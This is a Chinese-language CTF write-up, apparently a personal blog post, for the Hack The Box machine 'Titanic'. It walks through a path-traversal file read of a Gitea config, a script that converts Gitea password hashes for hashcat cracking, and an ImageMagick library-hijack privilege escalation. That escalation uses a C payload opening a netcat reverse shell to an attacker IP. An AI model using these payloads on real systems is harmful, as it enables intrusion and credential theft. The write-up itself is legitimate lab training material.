HTB-Titanic

HTB-Titanic

信息收集

22 80端口开放 将域名和ip进行一个映射。然后扫后台,没扫出什么,尝试爆破子域名。

存在一个子域名,dev 添加进去。

dev的子域名是一个Gitea。然后接着扫后台,查看sitemap.xml 里面存放着另外一个子域名。

image-20250216184653481**

这个gitea其实也就是titanic

image-20250216185117190

之前扫到的后台还有这个信息,去访问看一下信息,里面存放着源码信息,以及一个数据库的密码。

image-20250216190807811

这个地方,存在一个任意文件下载漏洞。

image-20250216190847737

漏洞利用

注意既然能进行任意问价读取了,那就尝试读取gitea的配置文件信息。

主要是路径,这里它是在home,developer用户下 里面的gitea/data/gitea/conf/app.ini

1
../../../../../../../../../../../home/developer/gitea/data/gitea/conf/app.ini

里面有一个db文件,然后进行读取 刚开始还以为是jwt了。。。

image-20250216212155155

然后就是用sqlite的语法,进行查数据。

里面存在developer的密码。

这个是 PBKDF2加密算法,也有密钥,是1722595646

这个参考:

https://github.com/hashcat/hashcat/issues/1583

以及将salt passwd变成base64的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sqlite3
import base64
import sys

if len(sys.argv) != 2:
print("Usage: python3 gitea3hashcat.py <gitea.db>")
sys.exit(1)

try:
con = sqlite3.connect(sys.argv[1])
cursor = con.cursor()
cursor.execute("SELECT passwd_hash_algo,salt,passwd FROM user")
for row in cursor.fetchall():
if "pbkdf2" in row[0]:
algo, iterations, keylen = row[0].split("$")
algo = "sha256"
else:
raise Exception("Unknown Algorithm")
salt = bytes.fromhex(row[1])
passwd = bytes.fromhex(row[2])
salt_b64 = base64.b64encode(salt).decode("utf-8")
passwd_b64 = base64.b64encode(passwd).decode("utf-8")
print(f"{algo}:{iterations}:{salt_b64}:{passwd_b64}")
except Exception as e:
print(f"Error: {e}")
sys.exit(1)

image-20250216231740066

利用hashcat进行爆破。

1
2
hashcat -a 0 -m 10900 1.hash '/usr/share/wordlist/rockyou.txt' --show

image-20250217104133863

得到密码之后 ssh登录上去。

提权

在/opt/scripts目录下,发现一个sh文件

1
2
3
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

大概意思就是cd道images目录下,然后将metadata.log文件给清空,然后查找images目录下所有的jpg文件,通过xargs处理多个jpg文件,利用magick获取jpg图片的元数据,输出到metadata.log文件中

查看magick的版本信息

image-20250217194316470

版本信息为7.1.1-35 在github上找到相关利用

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

1
2
3
4
5
6
7
8
9
10
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.89 4444 >/tmp/f");
exit(0);
}
EOF

然后再复制一张图片出来,让那个sh脚本运行一下。

image-20250217201605048

总结

首先通过信息收集爆破子域名,然后通过扫后台,发现信息泄露,通过源码得知存在任意文件读取,通过任意文件读取得到app.ini的内容,里面存放着数据库的位置,接着读取,然后密码是一个PBKDF2哈希加密过后的,且存在加盐,通过网上的脚本先把hash转成base64形式的,然后通过hashcat爆破密码,通过ssh登录上去,再opt/scripts下发现可疑sh文件,这个sh文件是以root的身份运行,并且得知是magick的一个用法,通过搜索版本信息,找到利用漏洞,通过LD_PRELOAD劫持来进行一个提权。


HTB-Titanic
http://example.com/2025/02/16/HTB-Titanic/
作者
FSRM
发布于
2025年2月16日
更新于
2025年2月17日
许可协议